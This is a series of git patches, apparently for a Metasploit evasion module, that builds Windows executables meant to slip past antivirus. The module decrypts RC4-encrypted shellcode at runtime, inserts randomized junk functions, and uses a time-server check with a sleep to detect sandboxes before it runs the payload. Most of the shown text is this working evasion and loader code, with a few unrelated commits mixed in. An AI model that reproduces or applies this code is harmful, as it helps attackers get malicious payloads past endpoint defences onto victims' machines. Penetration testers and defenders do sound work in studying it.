(mesure1+ 1000))&&(mesure2 < (mesure1+ 1200))) - { - #{junk_code(1)} - return 0; - } - else - { - exit(0); - #{junk_code(1)} - } - #{junk_code(1)} + const char *hostname = "worldtimeapi.org"; + const int port = 80; + const char *path = "/api/timezone/Europe/London.txt"; + + WSADATA wsaData; + if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { + return EXIT_FAILURE; } - | -end + struct hostent *host_info = gethostbyname(hostname); + if (host_info == NULL) { + WSACleanup(); + exit(EXIT_FAILURE); + } -def get_check_url() - fct_url = "int check_url() {\n" - fct_url += " #{junk_code(1)}\n" - fct_url += "char url[] = \"https://www.#{Rex::Text.rand_text_alpha(rand(10..20))}.com\";\n" - fct_url += "HINTERNET httpopen, openurl;\n" - fct_url += " #{junk_code(1)}\n" - fct_url += "DWORD read;\n" - fct_url += "httpopen=InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);\n" - fct_url += " #{junk_code(1)}\n" - fct_url += "openurl=InternetOpenUrl(httpopen,url,NULL,NULL,INTERNET_FLAG_RELOAD\|INTERNET_FLAG_NO_CACHE_WRITE,NULL);\n" - fct_url += "if (!openurl) // Access failed, we are not in AV\n" - fct_url += "{\n" - fct_url += " #{junk_code(1)}\n" - fct_url += " InternetCloseHandle(httpopen);\n" - fct_url += " InternetCloseHandle(openurl);\n" - fct_url += " return 0;\n" - fct_url += "}\n" - fct_url += "InternetCloseHandle(httpopen);\n" - fct_url += " #{junk_code(1)}\n" - fct_url += "InternetCloseHandle(openurl);\n" - fct_url += " #{junk_code(1)}\n" - fct_url += "return 1;\n" - fct_url += "}\n" - return fct_url -end + int client_socket = socket(AF_INET, SOCK_STREAM, 0); + if (client_socket == -1) { + WSACleanup(); + exit(EXIT_FAILURE); + } + + struct sockaddr_in server_address; + server_address.sin_family = AF_INET; + server_address.sin_port = htons(port); + memcpy(&server_address.sin_addr, host_info->h_addr_list[0], host_info->h_length); + + if (connect(client_socket, (struct sockaddr *)&server_address, sizeof(server_address)) == -1) { + close(client_socket); + WSACleanup(); + exit(EXIT_FAILURE); + } + + const char *request_template = "GET %s HTTP/1.1\\r\\nHost: %s\\r\\nConnection: close\\r\\n\\r\\n"; + char request[4096]; + snprintf(request, sizeof(request), request_template, path, hostname); + + if (send(client_socket, request, strlen(request), 0) == -1) { + close(client_socket); + WSACleanup(); + exit(EXIT_FAILURE); + } + + char response[4096]; + ssize_t received_bytes; + while ((received_bytes = recv(client_socket, response, sizeof(response) - 1, 0)) > 0) { + response[received_bytes] = '\0'; + } + + int unixtime; + extractField(response, "unixtime", &unixtime); + close(client_socket); + WSACleanup(); + return unixtime; + } + + int time_distortion() { + int unixtime = get_time(); + sleep(10); + int unixtime2 = get_time(); + int diff = unixtime2 - unixtime; + if( diff < 11 ) + exit(1); + else + return (1); + return 0; + } + | +end def c_template @c_template ||= %Q| #{get_includes} -#pragma comment(lib, "Psapi.lib") -#pragma comment(lib, "Wininet.lib") - -int size = #{get_payload[:size]}; -char buf[#{get_payload[:size]}]; -#define max_op #{rand(100000000..500000000)} #{junk_code(0).join} -#{get_check_url} #{get_time_distorsion} int main(int argc, char **argv) { - int lpBufSize = sizeof(int) * size; - LPVOID lpBuf = VirtualAlloc(NULL, lpBufSize, MEM_COMMIT, 0x00000040); - memset(lpBuf, '\\0', lpBufSize); - if (check_url()) + + + if (time_distortion() == 0) exit(1); + int size = #{get_payload[:size]}; + char buf[#{get_payload[:size]}]; + int lpBufSize = sizeof(int) * size; #{junk_code(1)} - int cpt = 0; - int i = 0; + LPVOID lpBuf = _malloca(lpBufSize); #{junk_code(1)} - for (i = 0; i < max_op; i++) { - cpt++; - } - if (cpt == max_op) { - ; - } - else { - exit(33); - } - - #{junk_code(1)} - - - time_distortion(); + memset(lpBuf, '\\0', lpBufSize); #{get_payload_bytes} #{junk_code(1)} - #{junk_code(1)} - #{junk_code(1)} - #{junk_code(1)} - #{junk_code(1)} - #{junk_code(1)} - Sleep(10000); RC4("#{rc4_key}", buf, (char*) lpBuf, size); - void (*func)(); - #{junk_code(1)} - #{junk_code(1)} - #{junk_code(1)} #{junk_code(1)} + void (*func)(); #{junk_code(1)} func = (void (*)()) lpBuf; - #{junk_code(1)} - #{junk_code(1)} - #{junk_code(1)} - #{junk_code(1)} #{junk_code(1)} (void)(*func)(); - #{junk_code(1)} - #{junk_code(1)} - #{junk_code(1)} - #{junk_code(1)} #{junk_code(1)} return 0; + #{junk_code(1)} }| end @@ -291,7 +297,7 @@ def run fname = Rex::Text.rand_text_alpha(4..7) path = File.join(Msf::Config.local_directory, fname) full_path = ::File.expand_path(path) - m = Metasploit::Framework::Compiler::Mingw::X86.new({ show_compile_cmd: true, f_name: full_path, compile_options: " -lpsapi -lwininet -lwinmm -w " }) + m = Metasploit::Framework::Compiler::Mingw::X86.new({ show_compile_cmd: true, f_name: full_path, compile_options: " -lpsapi -lwininet -lwinmm -lws2_32 -w " }) output = m.compile_c(c_template) if output.length > 0 print_error(output) From 11611d60a2883aa330c70a4e150f5666521d9d47 Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Tue, 6 Feb 2024 17:56:40 +0100 Subject: [PATCH 10/22] go --- modules/evasion/windows/test.rb | 35 --------------------------------- 1 file changed, 35 deletions(-) delete mode 100644 modules/evasion/windows/test.rb diff --git a/modules/evasion/windows/test.rb b/modules/evasion/windows/test.rb deleted file mode 100644 index f3fe12ea8e97..000000000000 --- a/modules/evasion/windows/test.rb +++ /dev/null @@ -1,35 +0,0 @@ -require 'metasploit/framework/compiler/windows' - -class MetasploitModule < Msf::Evasion - - def initialize(info={}) - super(merge_info(info, - 'Name' => 'test', - 'Targets' => [ ['Microsoft Windows', {}] ], - 'Platform' => 'win', - 'Arch' => ARCH_X86, - )) - end - - - def c_template - @c_template ||= %Q| -#include -#include - - -int main(int argc, char **argv) -{ - char str[] = "Hello World!"; - printf("%s\\n", str); - return 0; -}| - end - - def run - m = Metasploit::Framework::Compiler::Mingw::X86.new({ show_compile_cmd: true, f_name: "OK", compile_options: " -lpsapi -lwininet " }) - bin = m.compile_c(c_template) - print_status("#{bin}") - end - -end From 45d11dc7f2a5c06c5ad2a787a7158662434896af Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Tue, 6 Feb 2024 17:59:43 +0100 Subject: [PATCH 11/22] restored somthing --- modules/evasion/windows/windows_defender_exe.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/evasion/windows/windows_defender_exe.rb b/modules/evasion/windows/windows_defender_exe.rb index 616aed86b617..7c0c1499aa5e 100644 --- a/modules/evasion/windows/windows_defender_exe.rb +++ b/modules/evasion/windows/windows_defender_exe.rb @@ -71,7 +71,6 @@ def c_template def run vprint_line c_template - print_status c_template # The randomized code allows us to generate a unique EXE bin = Metasploit::Framework::Compiler::Windows.compile_random_c(c_template) print_status("Compiled executable size: #{bin.length}") From fd01e000f9c626ed8fcf5ddec869f55d4f37e5ff Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Tue, 6 Feb 2024 18:00:52 +0100 Subject: [PATCH 12/22] go --- uninstall.sh | 21 --------------------- 1 file changed, 21 deletions(-) delete mode 100755 uninstall.sh diff --git a/uninstall.sh b/uninstall.sh deleted file mode 100755 index fc80e6dbf28a..000000000000 --- a/uninstall.sh +++ /dev/null @@ -1,21 +0,0 @@ -#!/bin/sh - -# Check privileges -if [ $(id -u) != 0 ]; then - echo "$0 must be run as root, try sudo $0" - exit -fi - -# Check for systemctl -_=$(which systemctl) -if [ $? -eq 0 ]; then - echo "Stopping hide.me" - systemctl stop 'hide.me@*' - echo "Unlinking service files" - systemctl disable hide.me@.service -fi - -echo "Removing hide.me directory" -rm -r /opt/hide.me - -echo "hide.me CLI removed" \ No newline at end of file From b891d986bcd1b43075ea48945aff58589a283b40 Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Tue, 6 Feb 2024 18:04:35 +0100 Subject: [PATCH 13/22] resore msfrpc --- msfrpc | 91 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 91 insertions(+) create mode 100755 msfrpc diff --git a/msfrpc b/msfrpc new file mode 100755 index 000000000000..aa9cbfd5164c --- /dev/null +++ b/msfrpc @@ -0,0 +1,91 @@ +#!/usr/bin/env ruby +# -*- coding: binary -*- +# +# $Id$ +# +# This user interface allows users to interact with a remote framework +# instance through a XMLRPC socket. +# +# $Revision$ +# + +msfbase = __FILE__ +while File.symlink?(msfbase) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) +end + +$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) +require 'msfenv' + +$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] + +require 'rex/parser/arguments' + +# Declare the argument parser for msfrpc +arguments = Rex::Parser::Arguments.new( + "-a" => [ true, "Connect to this IP address" ], + "-p" => [ true, "Connect to the specified port instead of 55553" ], + "-U" => [ true, "Specify the username to access msfrpcd" ], + "-P" => [ true, "Specify the password to access msfrpcd" ], + "-S" => [ false, "Disable SSL on the RPC socket" ], + "-h" => [ false, "Help banner" ] +) + +opts = { + 'User' => 'msf', + 'SSL' => true, + 'ServerPort' => 55553, + 'Type' => 'Msg' +} + +# Parse command line arguments. +arguments.parse(ARGV) do |opt, idx, val| + case opt + when "-a" + opts['ServerHost'] = val + when "-S" + opts['SSL'] = false + when "-p" + opts['ServerPort'] = val + when '-U' + opts['User'] = val + when '-P' + opts['Pass'] = val + when "-h" + print("\nUsage: #{File.basename(__FILE__)} \n" + arguments.usage) + exit + end +end + +unless opts['ServerHost'] + $stderr.puts "[-] Error: a server IP must be specified (-a)" + $stderr.puts arguments.usage + exit(0) +end + +unless opts['Pass'] + $stderr.puts "[-] Error: a password must be specified (-P)" + $stderr.puts arguments.usage + exit(0) +end + +$0 = "msfrpc" + +require 'msf/core/rpc/v10/client' + +rpc = Msf::RPC::Client.new( + :host => opts['ServerHost'], + :port => opts['ServerPort'], + :ssl => opts['SSL'] +) + +rpc.login(opts['User'], opts['Pass']) + +puts "[*] The 'rpc' object holds the RPC client interface" +puts "[*] Use rpc.call('group.command') to make RPC calls" +puts '' + +while(ARGV.shift) +end + +Rex::Ui::Text::IrbShell.new(binding).run From 7a081584ecd6b24c6ecfaecef4864772d54c72b2 Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Tue, 6 Feb 2024 21:37:11 +0100 Subject: [PATCH 14/22] name and description --- ...hellcode.rb => time_obfuscation_no_shellcode.rb} | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) rename modules/evasion/windows/{no_shellcode.rb => time_obfuscation_no_shellcode.rb} (94%) diff --git a/modules/evasion/windows/no_shellcode.rb b/modules/evasion/windows/time_obfuscation_no_shellcode.rb similarity index 94% rename from modules/evasion/windows/no_shellcode.rb rename to modules/evasion/windows/time_obfuscation_no_shellcode.rb index 08d8f63063e5..0acb4e9649f9 100644 --- a/modules/evasion/windows/no_shellcode.rb +++ b/modules/evasion/windows/time_obfuscation_no_shellcode.rb @@ -9,14 +9,15 @@ class MetasploitModule < Msf::Evasion def initialize(info={}) super(merge_info(info, - 'Name' => 'No shellcode defined, to reduce detection ratio', + 'Name' => 'Time obfuscation no shellcode', 'Description' => %q{ - This module allows you to generate a Windows EXE without having a large shellcode in the file. and rather have it generated at runtime. This is useful for reducing the detection ratio of your payload. + This module allows you to generate a Windows EXE without having a shellcode in the file. and rather have it generated at runtime. This is useful for reducing the detection ratio of your payload. it will also use few technique to avoid runtime detection such as, - opening non existing files, - querying time from a distant server->sleep->query time again. - calling api function that are not fully emulated by avs. - }, + time obfuscation server_time->sleep->server time again. + it also generat a lot of junk code to randomise the sum of the code. + + For better result use the payload with a secure channel such as HTTPS to avoid easy network detection. + }, 'Author' => [ 'Arthur RAOUT' ], 'License' => MSF_LICENSE, 'Platform' => 'win', From 81f87426a0aa2777a066f342474d32a243701db3 Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Wed, 7 Feb 2024 15:03:25 +0100 Subject: [PATCH 15/22] fixed few things --- .../windows/time_obfuscation_no_shellcode.rb | 180 +++++++++--------- 1 file changed, 95 insertions(+), 85 deletions(-) diff --git a/modules/evasion/windows/time_obfuscation_no_shellcode.rb b/modules/evasion/windows/time_obfuscation_no_shellcode.rb index 0acb4e9649f9..b86e1f69e9c1 100644 --- a/modules/evasion/windows/time_obfuscation_no_shellcode.rb +++ b/modules/evasion/windows/time_obfuscation_no_shellcode.rb @@ -7,33 +7,35 @@ class MetasploitModule < Msf::Evasion - def initialize(info={}) - super(merge_info(info, - 'Name' => 'Time obfuscation no shellcode', - 'Description' => %q{ - This module allows you to generate a Windows EXE without having a shellcode in the file. and rather have it generated at runtime. This is useful for reducing the detection ratio of your payload. - it will also use few technique to avoid runtime detection such as, - time obfuscation server_time->sleep->server time again. - it also generat a lot of junk code to randomise the sum of the code. - - For better result use the payload with a secure channel such as HTTPS to avoid easy network detection. - }, - 'Author' => [ 'Arthur RAOUT' ], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Targets' => [ ['Microsoft Windows', {}] ] - )) + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Time obfuscation no shellcode', + 'Description' => %q{ + This module allows you to generate a Windows EXE without having a shellcode in the file. and rather have it generated at runtime. This is useful for reducing the detection ratio of your payload. + it will also use few technique to avoid runtime detection such as, + time obfuscation server_time->sleep->server time again. + it also generat a lot of junk code to randomise the sum of the code. + + For better result use the payload with a secure channel such as HTTPS to avoid easy network detection. + }, + 'Author' => [ 'Arthur RAOUT' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => [ ['Microsoft Windows', {}] ] + ) + ) end def rc4_key @rc4_key ||= Rex::Text.rand_text_alpha(32..64) end - def get_payload @c_payload ||= lambda { - opts = { format: 'rc4', key: rc4_key} + opts = { format: 'rc4', key: rc4_key } junk = Rex::Text.rand_text(10..1024) p = payload.encoded + junk @@ -45,47 +47,47 @@ def get_payload }.call end -def get_payload_bytes() - payload = get_payload[:hex_format] - s = "" - i = 0 - j = 0 - vector = rand(1..999999) - while j < get_payload[:size] - s += " buf[#{j}] = ((char)\'\\x#{((payload[i]+payload[i+1]).hex + vector).to_s(16).rjust(2, "0")}\'-#{vector});\n" - if rand(1..100) > 98 - s += junk_code(1) + def get_payload_bytes + payload = get_payload[:hex_format] + s = '' + i = 0 + j = 0 + vector = rand(1..999999) + while j < get_payload[:size] + s += " buf[#{j}] = ((char)\'\\x#{((payload[i] + payload[i + 1]).hex + vector).to_s(16).rjust(2, '0')}\'-#{vector});\n" + if rand(1..100) > 98 + s += junk_code(1) + end + i += 2 + j += 1 end - i = i+2 - j = j+1 + return s end - return s -end -def fill_array(size) - s = "" - i = 0 - while i < size - if i == size-1 - s += "#{rand(1..1024)}" - else - s += "#{rand(1..1024)}, " + def fill_array(size) + s = '' + i = 0 + while i < size + if i == size - 1 + s += "#{rand(1..1024)}" + else + s += "#{rand(1..1024)}, " + end + i += 1 end - i = i+1 + return s end - return s -end -def junk_code(flag) #if flag is 0 return a function , if flag is 1 return a call to a function - #fibonnacci fucntion - fibonnacci = %Q| + def junk_code(flag) # if flag is 0 return a function , if flag is 1 return a call to a function + # fibonnacci fucntion + fibonnacci = %| int fib(int n) { if (n <= 1) return n; return fib(n-1) + fib(n-2); } | - bubbel_sort = %Q| + bubbel_sort = %| void bubbel_sort(int arr[], int n) { int i, j, temp; for (i = 0; i < n; i++) { @@ -99,14 +101,14 @@ def junk_code(flag) #if flag is 0 return a function , if flag is 1 return a call } } | - euclide = %Q| + euclide = %| int euclide(int a, int b) { if (a == 0) return b; return euclide(b % a, a); } | - binary_search = %Q| + binary_search = %| int binary_search(int arr[], int l, int r, int x) { if (r >= l) { int mid = l + (r - l) / 2; @@ -119,48 +121,45 @@ def junk_code(flag) #if flag is 0 return a function , if flag is 1 return a call return -1; } | - #fibonnacci call example - fibonnacci_call = %Q| + # fibonnacci call example + fibonnacci_call = %| fib(#{rand(1..15)}); | - #bubbel sort call example - arr_size = rand(1..100) - arr_name = Rex::Text.rand_text_alpha(5) - bubbel_sort_call = %Q| + # bubbel sort call example + arr_size = rand(1..100) + arr_name = Rex::Text.rand_text_alpha(5) + bubbel_sort_call = %| int #{arr_name}[#{arr_size}] = {#{fill_array(arr_size)}}; bubbel_sort(#{arr_name}, #{arr_size}); | - #euclide call example - euclide_call = %Q| + # euclide call example + euclide_call = %| euclide(#{rand(1..100)}, #{rand(1..100)}); | - #binary search call example - arr_size = rand(1..100) - arr_name = Rex::Text.rand_text_alpha(5) - binary_search_call = %Q| + # binary search call example + arr_size = rand(1..100) + arr_name = Rex::Text.rand_text_alpha(5) + binary_search_call = %| int #{arr_name}[#{arr_size}] = {#{fill_array(arr_size)}}; - binary_search(#{arr_name}, 0, #{arr_size-1}, #{rand(1..100)}); + binary_search(#{arr_name}, 0, #{arr_size - 1}, #{rand(1..100)}); | - if flag == 0 - return [fibonnacci, bubbel_sort, euclide, binary_search].shuffle - else - return [fibonnacci_call, bubbel_sort_call, euclide_call, binary_search_call].sample + if flag == 0 + return [fibonnacci, bubbel_sort, euclide, binary_search].shuffle + else + return [fibonnacci_call, bubbel_sort_call, euclide_call, binary_search_call].sample + end end -end - - -def get_includes() - rc4 = "#include \"#{File.join(Msf::Config.install_root, 'data', 'headers', 'windows')}/rc4.h\"" - includes = ["#include \n", "#include \n", "#include \n", "#include \n", "#include \n", rc4, "#include \n", "#include \n","#include \n", "#include "] - includes.shuffle - return includes.join -end + def get_includes + rc4 = "#include \"#{File.join(Msf::Config.install_root, 'data', 'headers', 'windows')}/rc4.h\"" + includes = ["#include \n", "#include \n", "#include \n", "#include \n", "#include \n", rc4, "#include \n", "#include \n", "#include \n", '#include '] + includes.shuffle + return includes.join + end + def get_time_distorsion + time_distorsion = %| -def get_time_distorsion - time_distorsion = %Q| - int extractField(const char *response, const char *fieldName, int *fieldValue) { const char *delimiter = "\\n"; char *token; @@ -170,11 +169,14 @@ def get_time_distorsion while (token != NULL) { if (strstr(token, fieldName)) { if (sscanf(token, "%*[^:]: %d", fieldValue) == 1) { + #{junk_code(1)} return 1; } else { + #{junk_code(1)} return 0; } } + #{junk_code(1)} token = strtok(NULL, delimiter); } @@ -189,6 +191,7 @@ def get_time_distorsion const char *path = "/api/timezone/Europe/London.txt"; WSADATA wsaData; + #{junk_code(1)} if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { return EXIT_FAILURE; } @@ -207,6 +210,7 @@ def get_time_distorsion struct sockaddr_in server_address; server_address.sin_family = AF_INET; + #{junk_code(1)} server_address.sin_port = htons(port); memcpy(&server_address.sin_addr, host_info->h_addr_list[0], host_info->h_length); @@ -229,12 +233,14 @@ def get_time_distorsion char response[4096]; ssize_t received_bytes; + #{junk_code(1)} while ((received_bytes = recv(client_socket, response, sizeof(response) - 1, 0)) > 0) { response[received_bytes] = '\0'; } int unixtime; - extractField(response, "unixtime", &unixtime); + extractField(response, "unixtime", &unixtime); + #{junk_code(1)} close(client_socket); WSACleanup(); return unixtime; @@ -243,18 +249,21 @@ def get_time_distorsion int time_distortion() { int unixtime = get_time(); sleep(10); + #{junk_code(1)} int unixtime2 = get_time(); int diff = unixtime2 - unixtime; if( diff < 11 ) - exit(1); + exit(1); else return (1); + #{junk_code(1)} return 0; } | -end + end + def c_template - @c_template ||= %Q| + @c_template ||= %| #{get_includes} @@ -279,7 +288,7 @@ def c_template #{junk_code(1)} memset(lpBuf, '\\0', lpBufSize); #{get_payload_bytes} - + #{junk_code(1)} RC4("#{rc4_key}", buf, (char*) lpBuf, size); #{junk_code(1)} @@ -287,6 +296,7 @@ def c_template #{junk_code(1)} func = (void (*)()) lpBuf; #{junk_code(1)} + printf("Running payload\\n"); (void)(*func)(); #{junk_code(1)} return 0; @@ -298,7 +308,7 @@ def run fname = Rex::Text.rand_text_alpha(4..7) path = File.join(Msf::Config.local_directory, fname) full_path = ::File.expand_path(path) - m = Metasploit::Framework::Compiler::Mingw::X86.new({ show_compile_cmd: true, f_name: full_path, compile_options: " -lpsapi -lwininet -lwinmm -lws2_32 -w " }) + m = Metasploit::Framework::Compiler::Mingw::X86.new({ show_compile_cmd: true, f_name: full_path, compile_options: ' -lpsapi -lwininet -lwinmm -lws2_32 -w ' }) output = m.compile_c(c_template) if output.length > 0 print_error(output) From bdea5efe8ad809aeca0abaa156ee02a2a640fe28 Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Wed, 7 Feb 2024 15:04:35 +0100 Subject: [PATCH 16/22] del a.out --- a.out | Bin 16600 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100755 a.out diff --git a/a.out b/a.out deleted file mode 100755 index fb23c25a961169d49023faf2ba256dc503f36b4c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16600 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 From c2794db279d76f55b0d3cc0b67030793570fcddd Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Wed, 7 Feb 2024 16:11:55 +0100 Subject: [PATCH 17/22] slight change in author --- modules/evasion/windows/time_obfuscation_no_shellcode.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/evasion/windows/time_obfuscation_no_shellcode.rb b/modules/evasion/windows/time_obfuscation_no_shellcode.rb index b86e1f69e9c1..3c97663a8e00 100644 --- a/modules/evasion/windows/time_obfuscation_no_shellcode.rb +++ b/modules/evasion/windows/time_obfuscation_no_shellcode.rb @@ -20,7 +20,7 @@ def initialize(info = {}) For better result use the payload with a secure channel such as HTTPS to avoid easy network detection. }, - 'Author' => [ 'Arthur RAOUT' ], + 'Author' => [ 'Arthur RAOUT@nbs-system' ], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, From 148d614076365b058e14e3e3645e348137d83640 Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Wed, 7 Feb 2024 17:04:57 +0100 Subject: [PATCH 18/22] fixd rubocop --- .../evasion/windows/time_obfuscation_no_shellcode.rb | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/modules/evasion/windows/time_obfuscation_no_shellcode.rb b/modules/evasion/windows/time_obfuscation_no_shellcode.rb index 3c97663a8e00..99c75aeb2ae8 100644 --- a/modules/evasion/windows/time_obfuscation_no_shellcode.rb +++ b/modules/evasion/windows/time_obfuscation_no_shellcode.rb @@ -13,6 +13,7 @@ def initialize(info = {}) info, 'Name' => 'Time obfuscation no shellcode', 'Description' => %q{ + /!\ TO USE THIS MODULE YOU NEED THE TARGET TO BE CONNECTED TO THE INTERNET /!\ This module allows you to generate a Windows EXE without having a shellcode in the file. and rather have it generated at runtime. This is useful for reducing the detection ratio of your payload. it will also use few technique to avoid runtime detection such as, time obfuscation server_time->sleep->server time again. @@ -34,7 +35,7 @@ def rc4_key end def get_payload - @c_payload ||= lambda { + @get_payload ||= lambda { opts = { format: 'rc4', key: rc4_key } junk = Rex::Text.rand_text(10..1024) p = payload.encoded + junk @@ -69,7 +70,7 @@ def fill_array(size) i = 0 while i < size if i == size - 1 - s += "#{rand(1..1024)}" + s += rand(1..1024).to_s else s += "#{rand(1..1024)}, " end @@ -78,7 +79,8 @@ def fill_array(size) return s end - def junk_code(flag) # if flag is 0 return a function , if flag is 1 return a call to a function + # if flag is 0 return a function , if flag is 1 return a call to a function + def junk_code(flag) # fibonnacci fucntion fibonnacci = %| int fib(int n) { @@ -158,7 +160,7 @@ def get_includes end def get_time_distorsion - time_distorsion = %| + %| int extractField(const char *response, const char *fieldName, int *fieldValue) { const char *delimiter = "\\n"; @@ -310,7 +312,7 @@ def run full_path = ::File.expand_path(path) m = Metasploit::Framework::Compiler::Mingw::X86.new({ show_compile_cmd: true, f_name: full_path, compile_options: ' -lpsapi -lwininet -lwinmm -lws2_32 -w ' }) output = m.compile_c(c_template) - if output.length > 0 + if !output.empty? print_error(output) else print_good "#{fname}.exe stored at #{full_path}.exe" From b6086a04827424ed514b74ddf9c15fd80e4662fe Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Thu, 8 Feb 2024 12:45:20 +0100 Subject: [PATCH 19/22] reviews fixed --- .../windows/time_obfuscation_no_shellcode.rb | 30 ++++++++++++------- 1 file changed, 19 insertions(+), 11 deletions(-) diff --git a/modules/evasion/windows/time_obfuscation_no_shellcode.rb b/modules/evasion/windows/time_obfuscation_no_shellcode.rb index 99c75aeb2ae8..e1d5915226fd 100644 --- a/modules/evasion/windows/time_obfuscation_no_shellcode.rb +++ b/modules/evasion/windows/time_obfuscation_no_shellcode.rb @@ -89,8 +89,8 @@ def junk_code(flag) return fib(n-1) + fib(n-2); } | - bubbel_sort = %| - void bubbel_sort(int arr[], int n) { + bubble_sort = %| + void bubble_sort(int arr[], int n) { int i, j, temp; for (i = 0; i < n; i++) { for (j = 0; j < n - i - 1; j++) { @@ -127,12 +127,12 @@ def junk_code(flag) fibonnacci_call = %| fib(#{rand(1..15)}); | - # bubbel sort call example + # bubble sort call example arr_size = rand(1..100) arr_name = 